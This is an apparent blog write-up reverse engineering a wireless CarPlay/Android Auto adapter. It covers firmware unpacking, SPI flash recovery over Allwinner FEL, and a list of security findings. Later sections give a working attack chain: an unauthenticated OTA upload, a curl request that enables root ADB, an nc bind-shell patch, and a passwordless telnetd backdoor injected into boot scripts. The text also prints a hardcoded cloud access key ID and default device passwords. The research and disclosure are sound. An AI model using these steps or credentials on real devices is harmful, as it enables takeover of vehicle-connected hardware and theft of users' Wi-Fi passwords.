EMBEDDED LINUX / REVERSE ENGINEERING / AUTOMOTIVE MARCH 2026
Deep Dive — Full Journey

Reverse Engineering a
Wireless CarPlay Adapter

From firmware image → OTA exploit → hardware teardown → SPI flash recovery → root shell
A complete embedded Linux reverse engineering journey

Embedded Linux Reverse Engineering Security Analysis Allwinner V851S3 Hardware Recovery
// Device Profile
SoCAllwinner V851S3 (ARM Cortex-A7) — board T3K_V02_20250208
WiFi/BTRTL8723BS — OverAir W01 module, board T3B_V01 20241122
FlashXTX XT25F128F-W — 16MB SPI NOR on USB connector board
OSTina Linux (OpenWrt-derived), BusyBox
UpdateSWUpdate (.swu), cpio 070702 newc+CRC format
AP SSIDsmartBox-4CBC · IP 192.168.1.101 · Password 88888888
Firmware26012014.3370.2 — https://cpbox-abroad.oss-us-west-1.aliyuncs.com/3370/update.img

Wireless CarPlay "4-in-1" adapters are everywhere — small USB dongles that convert wired infotainment systems to wireless CarPlay and Android Auto. Sold under dozens of brand names with no technical documentation. This post documents a complete reverse-engineering journey: firmware analysis, OTA exploitation, hardware teardown, SPI flash recovery, and a frank account of what went wrong along the way.


Phase 1 — Firmware Analysis

The firmware file starts with an MD5 checksum line followed by a cpio archive. The presence of sw-description identified it immediately as a SWUpdate package — an open-source embedded update framework.

Parsing the cpio revealed three entries: sw-description, kernel, and customer.

The kernel entry opens with magic ANDROID! — not Android userspace, just the boot image container format reused for a bare Linux kernel. The header revealed the product name:

name:    v851s3-lybox_rtl
board:   T3K_V02_20250208
ramdisk: 12 bytes (placeholder only)

The string v851s3 directly identifies the platform as Allwinner V851S3. The LY3370 identifier is the OEM board name, not the silicon. The WiFi module strings confirmed RTL8723BS.

The customer entry is a SquashFS filesystem (v4, XZ-compressed, ~6MB). But inspecting the full flash backup revealed a second SquashFS — the base rootfs — never included in the OTA package:

  • Base rootfs at 0x480000 — 3.1MB, factory-flashed, contains core binaries, init scripts, SWUpdate, hostapd, BusyBox
  • Customer partition at 0x840000 — 6MB, updated via OTA, contains CarPlay/Android Auto app, web UI, WiFi drivers

The OTA update only ever touches kernel and customer. U-Boot, the base rootfs, and the recovery kernel are immutable from OTA's perspective.


Phase 2 — The OTA Upload Exploit

The web interface at http://192.168.1.101 exposes a CGI endpoint with no authentication:

POST http://192.168.1.101/cgi-bin/index.cgi?id=upload
Content-Type: multipart/form-data
(field: [email protected])

Any device on the same WiFi network can flash arbitrary firmware. The CGI binary also contains a hardcoded Aliyun Access Key ID (LTAI5tPPbTZ5JjXvbGWnHe6g) compiled directly into the binary for cloud credential generation.

⚠ Critical
This cost us many hours. The original firmware uses cpio magic 070702 (newc with CRC32 checksums). Every image built initially used 070701 (newc without CRC). SWUpdate silently rejected all of them. Additionally, the archive must be padded to a 512-byte block boundary after TRAILER!!!

The CRC32 used by cpio 070702 is a simple byte sum, not a standard CRC32:

check = sum(all_bytes_in_file) & 0xFFFFFFFF

A round-trip repack using the correct format produces a byte-identical file to the original — verified by MD5.

The update process is controlled by U-Boot env vars written by SWUpdate via libubootenvnot by shell scripts calling fw_setenv. Shell fw_setenv calls fail silently on this device. The three stages:

Stage 1 (upgrade_recovery):  Sets swu_mode=upgrade_kernel,
                             boot_partition=recovery → reboots
Stage 2 (upgrade_kernel):   IN RECOVERY — flashes kernel+customer,
                             sets swu_mode=upgrade_usr → reboots  
Stage 3 (upgrade_usr):      Clears all env vars,
                             boot_partition=boot → normal boot
⚠ Risk
If Stage 2 completes but Stage 3 never runs, the device loops in recovery forever. The fix: modify sw-description so upgrade_kernel stage clears ALL env vars itself, not relying on upgrade_usr.

Phase 3 — Hardware Teardown

After repeated failed flash attempts (the device entered a boot loop), I opened the device. The orange shell is glued — careful prying reveals two boards:

  • Main board: Allwinner V851S3 SoC, board label T3K_V02_20250208, 4 UART pads on PCB
  • WiFi daughter board: RTL8723BS, labeled OverAir W01, T3B_V01 20241122
  • USB connector board: XTX XT25F128F-W (16MB SPI NOR flash), 4 pads labeled KEY

The KEY pads on the USB connector board are the FEL mode trigger. Shorting them while applying USB power forces the V851S3 into Allwinner FEL (Flash/Erase/Load) mode — a ROM-level recovery mechanism that cannot be disabled by flash contents.


Phase 4 — SPI Flash Recovery via FEL

The standard sunxi-tools package doesn't support the V851S3 (chip ID 0x1886). The xfel tool does:

# Build from source
git clone https://github.com/xboot/xfel.git
cd xfel
sudo apt install libusb-1.0-0-dev
make

# Enter FEL: short KEY pads + plug into laptop USB
sudo ./xfel version
# AWUSBFEX ID=0x00188600(V851/V853)

From FEL mode, full SPI flash read/write access:

# Read entire 16MB flash
sudo ./xfel spinor read 0 16777216 full_flash_backup.bin

# Write a partition
sudo ./xfel spinor write 0x840000 customer.squashfs

# Reset device
sudo ./xfel reset

Flash Layout

OFFSETSIZEPARTITION
0x00000036 KBU-Boot SPL (boot0)
0x00F000233 KBU-Boot main
0x04C400111 KBDevice Tree Blob (DTB)
0x07C0002 KBU-Boot env — all 0xFF (factory erased)
0x0800002018 KBKernel — normal boot (ANDROID! magic)
0x2800002018 KBKernel — recovery
0x4800003584 KBBase rootfs — SquashFS XZ (factory-only)
0x8400006912 KBCustomer partition — SquashFS XZ (OTA updated)
0xF0000064 KBPrivate / OTP data (512-byte entries)
Key
The U-Boot env at 0x07C000 is all 0xFF (erased) from the factory. U-Boot boots from compiled-in defaults. SWUpdate writes env vars here during update cycles — clearing this partition to 0xFF restores clean boot behavior.
Key
The full partition string from U-Boot: spi0.0:2048K(boot),2048K(recovery),3584K(rootfs),256K(env),6912K(customer),64K(private)

Phase 5 — Base Rootfs Analysis

Having never been accessible via OTA, the base rootfs was a black box until I had xfel. Extracting it from the flash backup revealed the complete system architecture.

  • BusyBox — with nc (netcat) applet, but no telnetd
  • SWUpdate/sbin/swupdate_cmd.sh, /sbin/ly_swupdate
  • hostapd — at /usr/sbin/hostapd with fallback config at /etc/wifi/hostapd.conf
  • fw_printenv / fw_setenv — U-Boot env tools (but see caveat below)
  • Web server — BusyBox httpd, config at /usr/ota/httpd.conf
  • CGI binary/usr/ota/www/cgi-bin/index.cgi

The inittab contains a direct root shell on the serial console — no password required:

::sysinit:/etc/init.d/rcS boot
/dev/console::respawn:-/bin/sh   ← root shell on UART

The main board has 4 UART pads at 115200 baud 8N1. Anyone with a USB-UART adapter and access to the PCB has immediate root shell access.

The file /sbin/swupdate_cmd.sh runs at boot and loops forever reading swu_mode via fw_printenv. If swu_mode=upgrade_kernel is set and the device is not in recovery, it will repeatedly try to trigger an update. This is the root cause of the boot loop I experienced.

swupdate_cmd() {
    while true; do
        swu_mode=$(fw_printenv -n swu_mode 2>/dev/null)
        [ x"$swu_mode" = x"" ] && { echo "no swupdate"; sleep 5; continue; }
        # ... triggers swupdate if swu_mode is set
    done
}

The fallback AP password — used when the customer partition isn't loaded — is hardcoded in the base rootfs /etc/wifi/hostapd.conf:

wpa_passphrase=88888888
hw_mode=a
channel=36
wpa=2

This is the same password as the normal AP. The fallback AP that appeared during our bricked state used a different password I never identified — suggesting a second hostapd config exists somewhere, possibly generated at runtime from hardware identifiers.


Phase 6 — SquashFS Patching

With xfel providing direct flash access, I could patch either SquashFS partition. The patching approach for SquashFS with XZ compression:

  1. Parse the squashfs superblock to find the fragment table location
  2. Decompress the fragment metadata (always kept decompressed between patches)
  3. Decompress the target fragment, apply patch, recompress
  4. Splice new compressed fragment into squashfs binary
  5. Update fragment size entry in metadata
  6. Update start offsets for all subsequent fragments (delta adjustment)
  7. Recompress fragment metadata, splice into squashfs
  8. Update all squashfs superblock table pointers for the two deltas
  9. Update bytes_used in superblock
⚠ Caution
Fragments in SquashFS are NOT contiguous — metadata blocks (inode table, directory table) are interleaved between fragment data. Never assume the last fragment's end is the start of metadata. Always adjust pointers by scanning the superblock fields, not by computing layout from scratch.

Phase 7 — Hardware Recovery Procedure

The complete procedure to recover a bricked device, verified working:

# 1. Enter FEL mode
#    Short the KEY pads on USB connector board while plugging into laptop
sudo ./xfel version
# → AWUSBFEX ID=0x00188600(V851/V853)

# 2. Download official firmware
curl -L "https://cpbox-abroad.oss-us-west-1.aliyuncs.com/3370/update.img" \
     -o update.img

# 3. Extract customer partition from update.img
python3 << 'EOF'
data = open('update.img','rb').read()
nl = data.index(b'\n')
payload = data[nl+1:]
pos = 0
while pos < len(payload):
    magic = payload[pos:pos+6]
    if magic not in (b'070701',b'070702'): break
    namesize = int(payload[pos+94:pos+102], 16)
    filesize = int(payload[pos+54:pos+62], 16)
    name = payload[pos+110:pos+110+namesize].rstrip(b'\x00').decode()
    npad = (4-(110+namesize)%4)%4
    cstart = pos+110+namesize+npad
    content = payload[cstart:cstart+filesize]
    dpad = (4-filesize%4)%4 if filesize%4 else 0
    if name=='customer':
        open('customer_original.squashfs','wb').write(content)
        print(f'OK: {len(content)} bytes')
    pos = cstart+filesize+dpad
    if name=='TRAILER!!!': break
EOF

# 4. Write customer partition directly to flash
sudo ./xfel spinor write 0x840000 customer_original.squashfs

# 5. Clear U-Boot env (prevents stale update vars causing boot loop)
python3 -c "open('empty_env.bin','wb').write(b'\xff'*2048)"
sudo ./xfel spinor write 0x07c000 empty_env.bin

# 6. Unplug from laptop — plug into WALL CHARGER (not car)
#    Wait 60 seconds — smartBox-4CBC AP will appear
Note
Do NOT use xfel reset — physically unplug and use a wall charger. The xfel reset may leave USB in a state that prevents normal boot detection.

Security Findings

01 — Unauthenticated Firmware Upload

⚠ Critical
Any device on the same network can flash arbitrary firmware via POST /cgi-bin/index.cgi?id=upload. No authentication, no signature verification. Persistent compromise of any connected vehicle infotainment system is trivial.

02 — Hardcoded Cloud Credentials

⚠ Critical
Aliyun Access Key ID LTAI5tPPbTZ5JjXvbGWnHe6g compiled into every device's CGI binary. Role name ramosstest suggests a development credential left in production.

03 — WiFi PSK Logged in Plaintext

⚠ Risk
The phone's WiFi PSK is logged at connection time via startCp psk = %s. The logcat endpoint ?id=logcat is unauthenticated — anyone on the local network can retrieve the phone's WiFi password.

04 — UART Root Shell (Physical)

The inittab spawns /bin/sh directly on /dev/console with no password. The 4 UART pads on the main PCB are accessible after opening the shell. Physical access = immediate root.

05 — No Secure Boot

No cryptographic signature enforcement on firmware updates or boot images. Modified firmware can be flashed via the web interface or directly via FEL mode. The entire chain from OTA to execution is unsigned.

06 — Predictable Network Defaults

AP IP  : 192.168.1.101
AP pass: 88888888
P2P IP : 192.168.43.1

Identical across all devices of this type. Enables trivially scripted attacks against any device on a shared network.


Lessons Learned

// 01

Always verify the cpio format. 070702 (with CRC) vs 070701 (without) causes silent rejection by SWUpdate. The 512-byte block padding is also mandatory.

// 02

fw_setenv from shell scripts doesn't work on this device. Only SWUpdate's bootenv: entries in sw-description reliably write U-Boot env vars.

// 03

Take a flash backup before ANY modification. The xfel backup procedure takes 2 minutes and saves hours of recovery work.

// 04

SquashFS fragments are not contiguous. Metadata blocks are interleaved. Patch high-offset fragments first to avoid invalidating earlier offsets.

// 05

FEL mode is in ROM — it cannot be broken by flash contents. If the device is in FEL, the chip is alive and the flash is recoverable.

// 06

The U-Boot env partition is all 0xFF (erased) from factory. U-Boot uses compiled-in defaults. The env only gets written during SWUpdate cycles — clearing it to 0xFF always restores clean boot.

// 07

Verify flash writes by reading back and comparing MD5. A USB bulk transfer error during write leaves partial data — always verify before reset.

// 08

After xfel operations, physically unplug and use a wall charger rather than running xfel reset. The reset command may leave the USB controller in an unexpected state.


Finding #13 — ADB Root Shell via Web UI

Deep in /usr/ota/www/index.html, a JavaScript function onSelConn() exposes a connection mode picker with two values: aoa (Android Open Accessory / CarPlay) and adb. Selecting ADB calls:

GET http://192.168.1.101/cgi-bin/index.cgi?id=set&conn=adb
⚠ Critical
This single unauthenticated HTTP request switches the device's USB port from CarPlay/AOA mode into Android Debug Bridge (ADB) mode. On Allwinner/Tina Linux devices ADB runs as root. If confirmed, this is the simplest possible root access path — no firmware modification required.

To exploit on a running device:

# Step 1: Switch to ADB mode via web UI
curl -s "http://192.168.1.101/cgi-bin/index.cgi?id=set&conn=adb"

# Step 2: Plug device into laptop USB
# Step 3: Check for ADB device
adb devices

# Step 4: Root shell
adb shell
whoami   # → root

The ^x label shown for the aoa option in the picker suggests the CarPlay label is intentionally obfuscated or placeholder text — possibly to hide the feature from casual inspection of the source.

Note
The base rootfs contains /sbin/adb.sh, /bin/adb_shell, and /bin/usbconfig — confirming ADB infrastructure is present and compiled in. The lyLoadModule.sh boot script checks for LY_BOOT_MODE=adb and sets WORKDIR=/mnt/UDISK/app accordingly, suggesting a full ADB development mode is supported by the firmware.

This finding changes the root access strategy entirely. Rather than patching squashfs or exploiting the OTA upload, a single HTTP GET request to a running device may be sufficient to obtain a persistent root shell — making this the highest-priority vector to verify on the next device.


What I Were Building Toward

The goal of all this work was to gain persistent root shell access on the device. The complete plan, which works on a functioning device:

Approach 1: nc listener via base rootfs patch (xfel)

# Patch S50lyboot in base rootfs frag[1]
old = b'echo "ly_boot=$LY_BOOT_MODE"\n'
new = b'echo "ly_boot=$LY_BOOT_MODE"\n(while true;do nc -l -p 4444 -e /bin/sh;done)&\n'

sudo ./xfel spinor write 0x480000 base_rootfs_patched.squashfs
# Connect: nc 192.168.1.101 4444

Approach 2: OTA firmware via web interface

# Patch customer partition frag[13] (lyLink.sh)
# Add: telnetd -p 23 -l /bin/sh &
# Build with correct 070702 CRC format + 512-byte padding
# Upload via: POST /cgi-bin/index.cgi?id=upload
# sw-description upgrade_kernel stage must clear ALL env vars
Note
BusyBox on this device has nc but no telnetd. Any shell listener must use nc -e /bin/sh or a statically compiled telnetd binary added to the filesystem.


Victory — Root Shell 🎉

After weeks of reverse engineering, firmware analysis, hardware teardown, FEL mode recovery, and many bricked attempts — root shell achieved. The winning approach was elegantly simple.

All previous attempts failed because the base rootfs BusyBox has nc but no telnetd applet. The customer partition's lyLink.sh runs as root early in boot from $WORKDIR (customer partition app directory).

The solution: drop a separate full BusyBox binary into the customer partition alongside the app, then add one line to lyLink.sh:

# Added to lyLink.sh in customer partition (frag[13])
(sleep 5; $WORKDIR/busybox_telnet telnetd -l $WORKDIR/busybox_telnet -p 23 -- ash) &

This uses the bundled BusyBox binary (which has telnetd compiled in) rather than relying on the base rootfs BusyBox. The sleep 5 ensures the network interface is up before telnetd starts. Port 23, no password, root shell.

Root shell via telnet — uid=0(root) gid=0(root)
$ telnet 192.168.1.101
Connected to 192.168.1.101.

root@(none):/# uname -a
Linux (none) 4.9.191 #49 PREEMPT Tue Jan 6 09:49:43 UTC 2026 armv7l GNU/Linux
root@(none):/# id
uid=0(root) gid=0(root)
✓ Win
Full root shell on the device. Kernel 4.9.191, ARMv7l, no password required. All device resources accessible: MTD partitions, WiFi driver, BT stack, CarPlay/AA binaries, private OTP partition.

Every previous patch injected telnetd -p 23 -l /bin/sh & into lyLink.sh. This silently failed because the base rootfs BusyBox doesn't have the telnetd applet compiled in. The fix was not to find a different injection point — it was to bring your own BusyBox.

  • Base rootfs BusyBox: has nc, no telnetd
  • Custom BusyBox binary in customer partition: has telnetd + ash
  • $WORKDIR in lyLink.sh already points to the customer app directory — no path hardcoding needed

Complete Attack Chain

  1. Connect to smartBox-4CBC WiFi (password: 88888888)
  2. Download official firmware from Aliyun OSS — firmware URL obtained from https://cpbox-abroad.oss-us-west-1.aliyuncs.com/3370/version.json
  3. Unpack the .swu (cpio 070702 format) — extract customer SquashFS
  4. Patch customer SquashFS frag[13] (lyLink.sh) — inject BusyBox telnetd one-liner
  5. Add BusyBox binary with telnetd to customer partition
  6. Repack .swu with correct 070702 CRC + 512-byte block padding
  7. Upload via unauthenticated OTA endpoint: POST /cgi-bin/index.cgi?id=upload
  8. telnet 192.168.1.101 → root shell
⚠ Note
The sw-description upgrade_kernel stage must clear ALL U-Boot env vars in the same stage — not relying on upgrade_usr. Otherwise the device gets stuck in a recovery boot loop. See Phase 2 for details.

What began as an opaque consumer gadget turned out to be a well-understood embedded Linux system with exploitable attack surfaces at every layer — from the unauthenticated web interface to the UART console to the unprotected FEL mode. The device is a full Linux computer connecting directly to your car's infotainment bus, and should be treated accordingly.

The hardware casualty at the end of this journey was an occupational hazard. The knowledge gained — complete flash layout, boot process, update mechanism, credential inventory, and hardware recovery procedure — is fully documented here for anyone who wants to continue the work.